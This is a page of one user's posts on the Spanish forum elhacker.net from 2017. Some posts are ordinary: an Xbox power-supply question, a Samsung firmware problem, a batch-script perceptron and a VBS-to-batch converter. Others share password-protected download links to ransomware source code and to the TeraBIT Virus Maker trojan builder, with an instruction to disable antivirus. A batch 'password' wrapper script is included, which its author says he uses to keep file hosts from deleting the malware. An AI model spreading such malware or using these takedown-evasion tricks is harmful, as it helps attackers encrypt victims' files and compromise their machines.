elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17
121  Media / Juegos y Consolas / Fuente de XBOX 360 prende de color naranja? en: 6 Octubre 2017, 20:32 pm
Hola, a todo . tengo una XBOX 360 y ayer la fuente de poder empezó a Prender el led de color naranja y titila.

Alguien me puede explicar que significa?  :huh:


                                    Gracias de antemano-.
122  Programación / Programación General / Pagina para aprender a Programar. espero que les sea útil . en: 4 Octubre 2017, 22:10 pm
hala. hoy cuando llege de la universidad estaba navegando en busca de pagina que enseñen a programar. estaba buscando c++ . y encontré esta pagina muy buena.

espero que les sirva a alguna persona que quiera aprender algún lenguaje.

http://tutorialesprogramacionya.com/

                          COMENTEN LO QUE SEA......
123  Foros Generales / Dudas Generales / ayuda con la etiqueta [youtube=640,360][/youtube] en: 4 Octubre 2017, 19:49 pm
hola a todos los del foro.
se podria poner un video en un tema pero que el video tenga auto play.

osea que el video se empiese a reproducir solo sin tener que darle play.

124  Comunicaciones / Dispositivos Móviles (PDA's, Smartphones, Tablets) / PIT File de samsumg YP-G1 en: 3 Octubre 2017, 22:16 pm
Hola a todos. bueno como dice el titulo.

como soluciono este problemilla.

yo tengo un Samsung YP-G1 Intl. mejor conocido como Samsung player 4.0 INTL.

Bueno , sin querer le instale otro archivo pit. con Odin . y ahora el telf se queda con la pantalla en negro.

intente descargar su pit original pero no se consigue fácilmente en internet. logre instalarle in pit parecido y intalarler el recobery pero no funciona.

le instale el pit del samsung player 5.0 y le intale ese recobery pero como es de la version 5.0 el telefono no instala la custom room.

si tan solo tuviera una manera de solucionar ese error.

 a ver si alguien puede conseguir el pit file de el samsung player 4.0 intl. o la rom original del telefono.

en donde mas consigo informacion para solucionar este problema es en:

https://forum.xda-developers.com

pero los link del pit de mi teléfono están caídos .
125  Programación / Scripting / (IA) Perceptron . . . en: 3 Octubre 2017, 21:27 pm
hola a todos, abro este tema para al que le interese.  ;D

bueno empecemos.

que es un (AI)?

Inteligencia artificial, o AI. La inteligencia artificial (Artificial Intelligence, o AI) es la simulación de procesos de inteligencia humana por parte de máquinas, especialmente sistemas informáticos.

que es Perceptron?

El perceptrón multicapa es una red neuronal artificial (RNA) formada por múltiples capas, esto le permite resolver problemas que no son linealmente separables, lo cual es la principal limitación del perceptrón (también llamado perceptrón simple). El perceptrón multicapa puede ser totalmente o localmente conectado.

En pocas palabras el perceptron es la simulación de una neurona humana.



EN ESTE ESQUEMA DE PERCEPTOM SIMPLI SE PUEDE APRECIAR . QUE SE INCLUYE LA PARTE SENSORIAL.

con esta parte podemos apreciar que el desarrollo de una IA nunca estara completa si no tiene como sentir.  ya que muchos Psicólogos  han demostrado que por medio de las experiencias sensiorales el cerebro aprende.

ejemplo de perceptron :  

bach

Código
  1. @echo off
  2. rem Perceptron en batch
  3. rem por S4L
  4. rem 14/04/12
  5. color a
  6. setlocal EnableDelayedExpansion
  7. setlocal EnableExtensions
  8. set me=%0
  9. cscript.exe //H:cscript
  10. :::::::::::::::::::::::::::::::::::
  11. set Fgh=fghijklmnopqrstuvwxz
  12. set T=0.5
  13. set Alpha=0.1
  14. set iNn=3
  15. set oNut=1
  16. set TSName="NAND Gate"
  17. set TxSet=4
  18. set TySet=4
  19. set TSet.1=1,0,0,1
  20. set TSet.2=1,0,1,1
  21. set TSet.3=1,1,0,1
  22. set TSet.4=1,1,1,0
  23. set WxSet=1
  24. set WySet=3
  25. set WSet.1=0
  26. set WSet.2=0
  27. set WSet.3=0
  28. :::::::::::::::::::::::::::::::::::
  29.  
  30. echo Randomize>eval.vbs
  31. echo set objArgs = WScript.Arguments>>eval.vbs
  32. echo wscript.echo eval(objArgs(0))>>eval.vbs
  33. set Run=True
  34. rem for /l %%a in (1,1,%WySet%) do (
  35. rem call:SetEv WSet.%%a Rnd
  36. rem )
  37. set /a Tf=2+%iNn%+%oNut%
  38. set vfIn=%%%%g
  39. for /l %%a in (2,1,%iNn%) do (
  40. set vfIn=!vfIn!,%%%%!Fgh:~%%a,1!
  41. )
  42. set /a vfOut_ini=1+%iNn%
  43. set /a fOut=%vfOut_ini%-%oNut%
  44. set vfOut=%%%%!Fgh:~%vfOut_ini%,1!
  45. for /l %%a in (%vfOut_ini%,1,%fOut%) do (
  46. set vfOut=!vfout!,%%%%!Fgh:~%%a,1!
  47. )
  48. set str=Fo
  49. find "%str%r1"<%me%>stFor.bat
  50. echo set In.%%%%f=%vfIn%>>stFor.bat
  51. echo set Out.%%%%f=%vfOut%>>stFor.bat
  52. echo ^)>>stFor.bat
  53. call stFor
  54. echo --Training Started--
  55. :train
  56. set Run=False
  57. for /l %%a in (1,1,%TySet%) do (
  58. echo.
  59. (set/p av=Training.)<nul
  60. call:pre_Sum %%a
  61. call:UpdateW %%a
  62. )
  63. if %Run%==True goto:train
  64. :test
  65. echo.
  66. echo --%TSName% network succesfully trained!--
  67. echo --Testing--
  68. for /l %%a in (1,1,%iNn%) do (
  69. set /p iNn%%a=Input %%a ^(1/0^)?
  70. )
  71. call:PSum
  72. echo Network output=%out%
  73. set /p cnt=Continue testing ^(y/n^)?
  74. if %cnt%'==y' goto:test
  75. if %cnt%'==Y' goto:test
  76. goto:eof
  77.  
  78. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  79.  
  80. :UpdateW
  81. set /a error=!Out.%1!-%out%
  82. if not %error%==0 set Run=True
  83. call:SetEv C %error%*%Alpha%
  84. (set/p av=.)<nul
  85. (set/p av="  E=%error% W1=%WSet.1% W2=%WSet.2% W3=%WSet.3%")<nul
  86. for /l %%b in (1,1,%WySet%) do (
  87. call:SetEv WSet.%%b !WSet.%%b!+!iNn%%b!*!C!
  88. )
  89. goto:eof
  90.  
  91. :pre_Sum
  92. set str2=I
  93. set In.>In.
  94. find "%str2%n.%1"<In.>aIn.
  95. find "%str%r2"<%me%>stFor_In.bat
  96. for /l %%a in (1,1,%iNn%) do (
  97. echo set iNn%%a=%%%%!Fgh:~%%a,1!>>stFor_In.bat
  98. (set/p av=.)<nul
  99. )
  100. (set/p av=.)<nul
  101. echo ^)>>stFor_In.bat
  102. call stFor_In
  103. call:PSum %1
  104. goto:eof
  105.  
  106. :PSum
  107. set sum=0
  108. for /l %%a in (1,1,%iNn%) do (
  109. call:SetEv sum !sum!+!iNn%%a!*!WSet.%%a!
  110. )
  111. if /I %sum% gtr %T% (
  112. set out=1
  113. ) else (
  114. set out=0
  115. )
  116. goto:eof
  117.  
  118. :SetEv
  119. for /f %%i in ('eval //nologo "%2"') do set %1=%%i
  120. goto:eof
  121.  
  122. for /f "tokens=2-%Tf% delims=.,=" %%f in ('set TSet.') do ( %For1%
  123. for /f "tokens=2-%Tf% delims=.,=" %%f in (aIn.) do ( %For2%

para los de c++ les dejo el link:

https://www.facebook.com/TutorialesKatana/?sk=app_190322544333196

http://www.mundoprogramacion.com/colabora/puntoNET/jlopezi_RedNeuronal.htm


  si se preguntan todavía que finalidad tiene este tema. ni yo mismo lo se . jajaja.

bueno abrí este tema para los que esten desarrollando alguna AI O los quieran desarrollar.
                        
  COMENTEN sus aporte sobre IA un este tema
126  Programación / Scripting / [APORTE] [VBS] Convertidor de .vbs a .bat . (VBS2CMD) en: 2 Octubre 2017, 21:58 pm
hola a todos los del foro.  :laugh:
hoy les traigo un convertidor de archivos vbs a .bat  . que encontre en internet, creo que el autor se llama Denis   (VBS2CMD)

code del convertidor (VBS2CMD.vbs)

Código
  1. Option Explicit
  2.  
  3. Const ForReading = 1
  4. Const ForWriting = 2
  5. Const ForAppending = 8
  6. Const TristateUseDefault = -2
  7.  
  8. Dim arrVBStext
  9. Dim blnQuiet
  10. Dim intOVRWT, intResult, intValidArgs
  11. Dim objDialog, objFile, objFSO, wshShell
  12. Dim strBaseFileName, strCMDout, strFileName, strFileNameIN, strFileNameOUT
  13. Dim strNewText, strOldText, strText, strVBSline
  14.  
  15. With WScript.Arguments
  16. If .Unnamed.Count > 1 Then Syntax
  17. intValidArgs = 0
  18. If .Unnamed.Count = 1 Then
  19. strFileNameIN = .Unnamed(0)
  20. intValidArgs = intValidArgs + 1
  21. End If
  22. If .Named.Exists( "Q" ) Then
  23. blnQuiet = True
  24. intValidArgs = intValidArgs + 1
  25. End If
  26. If intValidArgs <> .Count Then Syntax
  27. End With
  28.  
  29. Set WshShell = WScript.CreateObject( "WScript.Shell" )
  30. Set objFSO = CreateObject( "Scripting.FileSystemObject" )
  31.  
  32. If strFileNameIN = "" Then
  33. 'File browse dialog box (XP only) (NFG in 7/2008, Thank you MS!)
  34. On Error Resume Next
  35. Set objDialog = CreateObject( "UserAccounts.CommonDialog" )
  36. If Err Then
  37. strFileNameIN = ""
  38. WScript.Echo "No file specified."
  39. Else
  40. objDialog.Filter = "All Files|*.*"
  41. objDialog.InitialDir = wshShell.CurrentDirectory
  42. intResult = objDialog.ShowOpen
  43. If intResult = 0 Then
  44. strFileNameIN = ""
  45. wshShell.Popup "No file selected.", 1, " ", 64
  46. Else
  47. strFileNameIN = objDialog.FileName
  48. End If
  49. Set objDialog = Nothing
  50. End If
  51.  
  52. Set objDialog = Nothing
  53. On Error Goto 0
  54. End If
  55.  
  56. If strFileNameIN = "" Then Syntax
  57.  
  58. strFileNameOUT = objFSO.GetParentFolderName( strFileNameIN ) & objFSO.GetBaseName( strFileNameIN ) & "_CONVERTED.CMD"
  59.  
  60. 'Check if strFileNameOUT exists already
  61. If objFSO.FileExists( strFileNameOUT ) Then  'does the file EXIST?
  62. If blnQuiet Then
  63. WScript.Echo "Deleting existing file."
  64. objFSO.DeleteFile( strFileNameOUT )
  65. Else
  66. intOVRWT = MsgBox( strFileNameOUT & " exists already" & vbCrLf & "Overwrite?", vbYesNoCancel, "Overwrite?" )
  67. If intOVRWT = 6 Then
  68. 'proceed
  69. objFSO.DeleteFile( strFileNameOUT )
  70. Else
  71. wshShell.Popup "Exiting as requested.", 1, " ", 64
  72. WScript.Quit
  73. End If
  74. End If
  75. End If
  76.  
  77.  
  78. 'open strFileNameANSI file, and put entire file into a variable
  79. Set objFile = objFSO.OpenTextFile( strFileNameIN, ForReading )
  80. strText = objFile.ReadAll
  81. objFile.Close
  82.  
  83. '************ Start converting *************
  84. '^  Escape character.
  85. ' Adding the escape character before a command symbol
  86. ' allows it to be treated as ordinary text.
  87. 'When piping or redirecting any of these charcters you should
  88. 'prefix with the escape ^ character: \ & | > < ^
  89. 'e.g.  ^\  ^&  ^|  ^>  ^<  ^^
  90.  
  91. '# Escape out ^ symbols (Must be 1st !!!)
  92. strOldText = "^"
  93. strNewText = "^^"
  94. strText = Replace( strText, strOldText, strNewText )
  95.  
  96. '# Escape out \ symbols
  97. 'strOldText = "\"
  98. 'strNewText = "^\"
  99. 'strText = Replace( strText, strOldText, strNewText )
  100.  
  101. '# Escape out & symbols
  102. strOldText = "&"
  103. strNewText = "^&"
  104. strText = Replace( strText, strOldText, strNewText )
  105.  
  106. '# Escape out | symbols
  107. strOldText = "|"
  108. strNewText = "^|"
  109. strText = Replace( strText, strOldText, strNewText )
  110.  
  111. '# Escape out > symbols
  112. strOldText = ">"
  113. strNewText = "^>"
  114. strText = Replace(strText, strOldText, strNewText)
  115.  
  116. '# Escape out < symbols
  117. strOldText = "<"
  118. strNewText = "^<"
  119. strText = Replace( strText, strOldText, strNewText )
  120.  
  121. 'Converting into array
  122. 'Dim arrVBStext()
  123. arrVBStext = Split( strText, vbCrLf ) 'create one-dimensional array
  124.  
  125. strFileName = objFSO.GetFileName( strFileNameIN )
  126. strBaseFileName = objFSO.GetBaseName( strFileNameIN )
  127. strCMDout = ""
  128. strCMDout = strCMDout & "@ECHO OFF" & vbCrLf
  129. strCMDout = strCMDout & "Call :" & strBaseFileName & vbCrLf
  130. strCMDout = strCMDout & vbCrLf
  131. strCMDout = strCMDout & vbCrLf
  132. strCMDout = strCMDout & "REM Prevent running the " & strFileName & " twice" & vbCrLf
  133. strCMDout = strCMDout & "Exit /b 0" & vbCrLf
  134.  
  135. strCMDout = strCMDout & ":" & strBaseFileName & vbCrLf
  136.  
  137. strCMDout = strCMDout & "REM  This will create a file called " & strFileName & " in %TEMP%" & vbCrLf
  138. strCMDout = strCMDout & "REM" & vbCrLf
  139. strCMDout = strCMDout & "REM  The following will overwite any pre-existing file called %TEMP%\" & strFileName & vbCrLf
  140. strCMDout = strCMDout & "echo.> %TEMP%\" & strFileName & vbCrLf
  141. 'Add  Echo  in front and  >> %TEMP%\<VBSNAME>.VBS at the end of every line
  142. For Each strVBSline in arrVBStext
  143. If Trim( strVBSline ) = "" Then
  144. strCMDout = strCMDout & "echo. >> %TEMP%\" & strFileName & vbCrLf
  145. Else
  146. strCMDout = strCMDout & "echo " & strVBSline & " >> %TEMP%\" & strFileName & vbCrLf
  147. End If
  148. Next
  149. strCMDout = strCMDout & "Cscript.exe //NoLogo ""%TEMP%\" & strFileName & """" & vbCrLf
  150. strCMDout = strCMDout & "Exit /b 0" & vbCrLf
  151. 'Converting done
  152.  
  153. 'Write to file
  154. Set objFile = objFSO.OpenTextFile( strFileNameOUT, ForAppending, True )
  155. objFile.WriteLine strCMDout
  156.  
  157. objFile.Close
  158.  
  159. If blnQuiet Then
  160. WScript.Echo "created " & strFileNameOUT
  161. Else
  162. wshShell.Popup "created " & strFileNameOUT, 3, "Completed", 64
  163. End If
  164.  
  165. Set objFile = Nothing
  166. Set wshShell = Nothing
  167. Set objFSO = Nothing
  168.  
  169.  
  170. Sub Syntax
  171. Dim strMsg
  172. strMsg = vbCrLf _
  173.       & "Como usarlo:  VBS2CMD.VBS  archivo-vbscript.vbs  [ /Q ]" & vbCrLf & vbCrLf _
  174.       & "Donde:  archivo-vbscript.vbs  es el archivo a ser ""convertido""" & vbCrLf _
  175.       & "                           (necesario en todas las versiones excepto en XP XP)" & vbCrLf _
  176.       & "        /Q                 Evita los dialogos"
  177. WScript.Echo strMsg
  178. WScript.Quit 1
  179. End Sub


Como usar :

code batch para usar.

Código
  1. @echo off
  2. VBS2CMD.vbs nombre-de-tu-vbs.vbs
  3. pause

                                          COMENTEN

127  Seguridad Informática / Análisis y Diseño de Malware / Ransomware (SOURCE CODE) en: 30 Septiembre 2017, 03:45 am
hola a todos los del foro .

hoy comparto con ustedes un Ransomware  creado con "fines educativos"  :silbar:

bueno cifre el code con una herramienta que cree hace unos dias muy util. para que no me tumben el link.

si les interesa la herramienta para cifrar es: Batch Archive Security

http://foro.elhacker.net/scripting/batch_aporte_batch_archive_security_ponle_contrasena_a_tus_archivos-t475058.0.html

BUENO SIN MAS QUE DECIR EL CÓDIGO DEL Ransomware :

https://mega.nz/#!8892SSYJ!X29F4hlIUTC-gWNmtL9mKWwVNOU4byyEYrE0FgeEPPc

DESCARGAN EL BATCH Y LES PEDIRA UNA CONTRASEÑA.

la contraseña es:   123456

despues presionamos enter y listo les aparecera un zip que contiene el código del Ransomware.
                                                    COMENTEN
128  Informática / Software / **TeraBIT Virus Maker 3.1** (Creación de virus) en: 29 Septiembre 2017, 21:18 pm
hala a todos.  :D
Hoy les traigo un programa bastante viejo, pero funcional . con el podrás crear virus sin tener ningún conocimiento de programacion. XD.

El Programa lo que hace es crear virus y por eso cundo vas ejecutarlo tienes que desactivar tu antivirus , por que básicamente estas trabajando con troyanos.

Bueno, el programa cuesta conseguirlo en internet por que cada vez que lo suben, los servidores lo eliminan.
pero hace unos días cree una aplicación en batch y me di cuenta que tiene mas potencial del que creía ya que con esta aplicación  pueden cifrar archivos o programas, y gracias a eso los servidores no eliminan la aplicación.  ;-)

bueno si alguien le interesa la aplicación para cifrar:

http://foro.elhacker.net/scripting/batch_aporte_batch_archive_security_ponle_contrasena_a_tus_archivos-t475058.0.html

y bueno aqui el link de TeraBIT Virus Maker 3.1 para creación de virus.

https://mega.nz/#!Z9kSBYIY!GZLGqCkIZbRPglmC9yFIULoBcElt8gfGUAlK26FsqX4

DESPUÉS DE DESCARGAR, LO ABREN Y LES PEDIRÁ UNA CONTRASEÑA:

La Contraseña es :      1234




                                              COMENTEN ;-)
129  Programación / Scripting / [BATCH] [APORTE] Batch Archive Security (ponle contraseña a tus archivos) en: 28 Septiembre 2017, 02:13 am
hola , al foro.  ;D

Estaba ayudando a un usario del foro llamado Orni1 con su script y se me ocurrio hacer un programa en batch para colocar contraseña a cualquier tipo
de archivo (exepto imajenes , si se cifran imajenes tienes que pasarlas a rar)

bueno con esta herramienta puede poner contraseña a tus archivos (exe,mp3,mp4
jar, entre otros formatos).( las imajenes se deben comprimir un .zip y luego cifrar)

code:

Código
  1. @echo off
  2. title Bienbenido %USERNAME%                                           --- Batch Archive Security ---
  3. if exist %temp%\pass.txt del %temp%\pass.txt >nul
  4. if exist %temp%\pass1.txt del %temp%\pass1.txt >nul
  5. if exist %temp%\bas.bat del %temp%\bas.bat >nul
  6. :menu & cls  
  7. color a
  8. echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  Realse
  9. echo ³                                                               ³     Version
  10. echo ³        Este Programa Portable sirve para poner                ³         (0.1)
  11. echo ³             Contrasena a cualquier archivo.                   ³
  12. echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  13. echo ³      Creada especialmente para (Orni1)                        ³ BATCH       ³
  14. echo ³                       De Parte de **Aincrad**                 ³   ARCHIVE   ³
  15. echo ³                                                               ³     SECURITY³
  16. echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  17. echo ³    PASOS A SEGUIR:                                            ³ Para:
  18. echo ³                                                               ³    F  
  19. echo ³    1) Escriba el nombre de el archivo a cifrar. y tambien     ³     o
  20. echo ³        Su formato. Ej: (.txt , .exe , .rar , .jar) etc..      ³      r
  21. echo ³                                                               ³       o
  22. echo ³    2) Escriba el Pass (Contraseña). Todo menos simbolos.      ³   El    
  23. echo ³                                                               ³ H
  24. echo ³    3) Listo..... :v                                           ³  a
  25. echo ³                                                               ³   c
  26. echo ³    4) En caso de no entender nada de los pasos, escriba       ³    k
  27. echo ³         help   y si no entiende Vayase a la mierrrrr...da     ³     e
  28. echo ³                                                               ³      r
  29. echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ       .NET
  30. echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  31. set /p op= Escriba el nombre de el archivo a cifrar :
  32. if not defined op (goto:menu) >NUL
  33. if not exist %op% (goto:err) >NUL
  34. Ping -n 2 Localhost >NUL
  35.  
  36. set p=set
  37. set t=var
  38. set "resultado=%resultado:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%" "
  39.  
  40. :si
  41. set /p ps= el archivo si existe escriba una contraseña :
  42. if not defined ps goto :si >NUL
  43. echo %ps%>>%temp%\pass1.txt
  44. Ping -n 2 Localhost >NUL
  45. set archivo=%temp%\pass1.txt
  46.  
  47. :::::::::::::::::
  48. :Ofuscador
  49. :::::::::::::::::
  50.  
  51. :Lineas
  52. Set Linea=0
  53. For /F "Tokens=*" %%a in ('Type %archivo% ^| Find /V /C ""') do (Set Total=%%a)
  54.  
  55. :Leer_Ofuscador
  56. If "%linea%" EQU "%total%" (Goto :Fin_Ofuscador)
  57.  
  58. For /F "Tokens=*" %%a in ('Type %archivo% ^| MORE +%Linea%') do (
  59.    Echo: Ofuscando: "%%a"
  60.    Set /A Linea+=1
  61.    Set "String=%%a"
  62.    If not defined string (Goto :Leer_Ofuscador)
  63.    Echo %%a>"%TEMP%\String.tmp"
  64.    FOR %%? IN (%TEMP%\String.tmp) DO ( SET /A Longitud=%%~z? - 2 )
  65.    Goto :Ofuscar
  66. )
  67.  
  68.  
  69. :Ofuscar
  70.  
  71.  
  72. If "%Count%" EQU "%Longitud%" (
  73.    call :Write_Ofuscador
  74.    Goto :Leer_Ofuscador)
  75.  
  76. ::Comilladoble
  77. Set "String=%String:"=€%"& rem "
  78.  
  79. ::Espacio
  80. If "%String:~0,1%" EQU " " (Set "New_String=%New_String% ")
  81.  
  82. ::Alpha
  83. If "%String:~0,1%" EQU "a" (Set "New_String=%New_String%%%var:~27,1%%")
  84. If "%String:~0,1%" EQU "b" (Set "New_String=%New_String%%%var:~28,1%%")
  85. If "%String:~0,1%" EQU "c" (Set "New_String=%New_String%%%var:~29,1%%")
  86. If "%String:~0,1%" EQU "d" (Set "New_String=%New_String%%%var:~30,1%%")
  87. If "%String:~0,1%" EQU "e" (Set "New_String=%New_String%%%var:~31,1%%")
  88. If "%String:~0,1%" EQU "f" (Set "New_String=%New_String%%%var:~32,1%%")
  89. If "%String:~0,1%" EQU "g" (Set "New_String=%New_String%%%var:~33,1%%")
  90. If "%String:~0,1%" EQU "h" (Set "New_String=%New_String%%%var:~34,1%%")
  91. If "%String:~0,1%" EQU "i" (Set "New_String=%New_String%%%var:~35,1%%")
  92. If "%String:~0,1%" EQU "j" (Set "New_String=%New_String%%%var:~36,1%%")
  93. If "%String:~0,1%" EQU "k" (Set "New_String=%New_String%%%var:~37,1%%")
  94. If "%String:~0,1%" EQU "l" (Set "New_String=%New_String%%%var:~38,1%%")
  95. If "%String:~0,1%" EQU "m" (Set "New_String=%New_String%%%var:~39,1%%")
  96. If "%String:~0,1%" EQU "n" (Set "New_String=%New_String%%%var:~40,1%%")
  97. If "%String:~0,1%" EQU "o" (Set "New_String=%New_String%%%var:~41,1%%")
  98. If "%String:~0,1%" EQU "p" (Set "New_String=%New_String%%%var:~42,1%%")
  99. If "%String:~0,1%" EQU "q" (Set "New_String=%New_String%%%var:~43,1%%")
  100. If "%String:~0,1%" EQU "r" (Set "New_String=%New_String%%%var:~44,1%%")
  101. If "%String:~0,1%" EQU "s" (Set "New_String=%New_String%%%var:~45,1%%")
  102. If "%String:~0,1%" EQU "t" (Set "New_String=%New_String%%%var:~46,1%%")
  103. If "%String:~0,1%" EQU "u" (Set "New_String=%New_String%%%var:~47,1%%")
  104. If "%String:~0,1%" EQU "v" (Set "New_String=%New_String%%%var:~48,1%%")
  105. If "%String:~0,1%" EQU "w" (Set "New_String=%New_String%%%var:~49,1%%")
  106. If "%String:~0,1%" EQU "x" (Set "New_String=%New_String%%%var:~50,1%%")
  107. If "%String:~0,1%" EQU "y" (Set "New_String=%New_String%%%var:~51,1%%")
  108. If "%String:~0,1%" EQU "z" (Set "New_String=%New_String%%%var:~52,1%%")
  109. If "%String:~0,1%" EQU "A" (Set "New_String=%New_String%%%var:~1,1%%")
  110. If "%String:~0,1%" EQU "B" (Set "New_String=%New_String%%%var:~2,1%%")
  111. If "%String:~0,1%" EQU "C" (Set "New_String=%New_String%%%var:~3,1%%")
  112. If "%String:~0,1%" EQU "D" (Set "New_String=%New_String%%%var:~4,1%%")
  113. If "%String:~0,1%" EQU "E" (Set "New_String=%New_String%%%var:~5,1%%")
  114. If "%String:~0,1%" EQU "F" (Set "New_String=%New_String%%%var:~6,1%%")
  115. If "%String:~0,1%" EQU "G" (Set "New_String=%New_String%%%var:~7,1%%")
  116. If "%String:~0,1%" EQU "H" (Set "New_String=%New_String%%%var:~8,1%%")
  117. If "%String:~0,1%" EQU "I" (Set "New_String=%New_String%%%var:~9,1%%")
  118. If "%String:~0,1%" EQU "J" (Set "New_String=%New_String%%%var:~10,1%%")
  119. If "%String:~0,1%" EQU "K" (Set "New_String=%New_String%%%var:~11,1%%")
  120. If "%String:~0,1%" EQU "L" (Set "New_String=%New_String%%%var:~12,1%%")
  121. If "%String:~0,1%" EQU "M" (Set "New_String=%New_String%%%var:~13,1%%")
  122. If "%String:~0,1%" EQU "N" (Set "New_String=%New_String%%%var:~14,1%%")
  123. If "%String:~0,1%" EQU "O" (Set "New_String=%New_String%%%var:~15,1%%")
  124. If "%String:~0,1%" EQU "P" (Set "New_String=%New_String%%%var:~16,1%%")
  125. If "%String:~0,1%" EQU "Q" (Set "New_String=%New_String%%%var:~17,1%%")
  126. If "%String:~0,1%" EQU "R" (Set "New_String=%New_String%%%var:~18,1%%")
  127. If "%String:~0,1%" EQU "S" (Set "New_String=%New_String%%%var:~19,1%%")
  128. If "%String:~0,1%" EQU "T" (Set "New_String=%New_String%%%var:~20,1%%")
  129. If "%String:~0,1%" EQU "U" (Set "New_String=%New_String%%%var:~21,1%%")
  130. If "%String:~0,1%" EQU "V" (Set "New_String=%New_String%%%var:~22,1%%")
  131. If "%String:~0,1%" EQU "W" (Set "New_String=%New_String%%%var:~23,1%%")
  132. If "%String:~0,1%" EQU "X" (Set "New_String=%New_String%%%var:~24,1%%")
  133. If "%String:~0,1%" EQU "Y" (Set "New_String=%New_String%%%var:~25,1%%")
  134. If "%String:~0,1%" EQU "Z" (Set "New_String=%New_String%%%var:~26,1%%")
  135.  
  136. ::Numeric
  137. If "%String:~0,1%" EQU "0" (Set "New_String=%New_String%%%var:~53,1%%")
  138. If "%String:~0,1%" EQU "1" (Set "New_String=%New_String%%%var:~54,1%%")
  139. If "%String:~0,1%" EQU "2" (Set "New_String=%New_String%%%var:~55,1%%")
  140. If "%String:~0,1%" EQU "3" (Set "New_String=%New_String%%%var:~56,1%%")
  141. If "%String:~0,1%" EQU "4" (Set "New_String=%New_String%%%var:~57,1%%")
  142. If "%String:~0,1%" EQU "5" (Set "New_String=%New_String%%%var:~58,1%%")
  143. If "%String:~0,1%" EQU "6" (Set "New_String=%New_String%%%var:~59,1%%")
  144. If "%String:~0,1%" EQU "7" (Set "New_String=%New_String%%%var:~60,1%%")
  145. If "%String:~0,1%" EQU "8" (Set "New_String=%New_String%%%var:~61,1%%")
  146. If "%String:~0,1%" EQU "9" (Set "New_String=%New_String%%%var:~62,1%%")
  147.  
  148. Set "String=%String:~1%"
  149. Set /A Count+=1
  150. Goto :Ofuscar
  151.  
  152. :Write_Ofuscador
  153. Set "New_String=%New_String:€="%"& rem "
  154. Echo %New_String%>>%temp%\pass.txt
  155. If NOT Errorlevel 0 (Echo ERROR & pause & Exit /B 1)
  156. Set "New_String="
  157. Set "Count="
  158. Goto :EOF
  159.  
  160. :Fin_Ofuscador
  161. Del /Q "%TEMP%\String.tmp"
  162. Cls
  163. echo Fin | More
  164. Ping -n 2 Localhost >NUL
  165.  
  166. for /f "tokens=*" %%x in (%temp%\pass.txt) do (set psw=%%x)
  167.  
  168. :hsss
  169. (
  170. echo @echo off
  171. echo %p% %t%^=%resultado%
  172. echo color a
  173. echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  Realse
  174. echo echo ³                                                               ³     Version
  175. echo echo ³                                                               ³          0.1
  176. echo echo ³                                                               ³
  177. echo echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  178. echo echo ³      Creada especialmente para *Orni1*                        ³ BATCH       ³
  179. echo echo ³                       De Parte de **Aincrad**                 ³   ARCHIVE   ³
  180. echo echo ³                                                               ³     SECURITY³
  181. echo echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  182. echo echo ³    PASOS A SEGUIR:                                            ³ Para:
  183. echo echo ³     1. Escriba el Pass *Contraseña*. Todo menos simbolos.     ³    F  
  184. echo echo ³                                                               ³     o
  185. echo echo ³     2. Listo..... :v                                          ³      r
  186. echo echo ³                                                               ³       o
  187. echo echo ³     4. En caso de no entender nada de los pasos a segui       ³   El    
  188. echo echo ³                     Vayase a la mierrrrr...da                 ³ H
  189. echo echo ³                                                               ³  a
  190. echo echo ³                                                               ³   c
  191. echo echo ³                                                               ³    k
  192. echo echo ³                                                               ³     e
  193. echo echo ³                                                               ³      r
  194. echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ       .NET
  195. echo echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  196. echo set /p c= Escriba la contraseña del archivo cifrado :
  197. echo if not defined c  ^exit  
  198. echo If ^%%c%%^=^= %psw% goto d  
  199. echo exit
  200. echo :d
  201. echo ^(
  202. echo ECHO 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d
  203. echo ECHO E
  204. echo ^) ^| EDLIN /B ^"%op% cifrado.bat^"
  205. echo copy /b ^"%op% cifrado.bat^" ^"%op%^") > %temp%\bas.bat
  206.  
  207. :co
  208. copy /b "%temp%\bas.bat" + "%op%" "%op% cifrado.bat%
  209. goto f
  210.  
  211. :f
  212. echo Proceso terminado Gracias por usar Batch Archive Security
  213. echo Salvador F. Krilewski.    **Aincrad**
  214. pause & exit
  215.  
  216. ::::::::::::::::::::::::::::
  217. :err
  218. ::::::::::::::::::::::::::::
  219. color c
